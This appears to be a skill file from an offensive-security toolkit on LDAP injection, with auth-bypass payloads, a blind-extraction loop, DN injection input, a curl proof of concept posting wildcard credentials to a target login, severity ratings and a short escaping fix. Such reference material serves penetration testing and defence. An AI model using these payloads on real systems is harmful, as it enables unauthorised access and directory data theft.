| name | ldapi |
| description | LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection. |
| metadata | {"when_to_use":"ldap injection auth bypass active directory filter dn search","mitre_attack":"T1190","subdomain":"injection","upstream_ref":"skills/_corpus/payloads/LDAP Injection/"} |
LDAP Injection
LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
1. Auth bypass
filter = f"(&(uid={user})(userPassword={pw}))"
user = "*"
pw = "*"
user = "admin)(|(uid=*"
pw = "anything"
2. Blind extraction
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
3. DN injection
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
ldapsearch to verify directly once you have any cred
- Burp Intruder w/ payloads from
_corpus/payloads/LDAP Injection/
6. PoC
curl -s -X POST $TARGET/login -d 'user=*&pass=*'
7. Severity
| Bug | Severity |
|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
8. Defender
import ldap3
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
Cross-references
- Upstream catalog:
skills/_corpus/payloads/LDAP Injection/
- AD attack patterns (different layer):
skills/ad/SKILL.md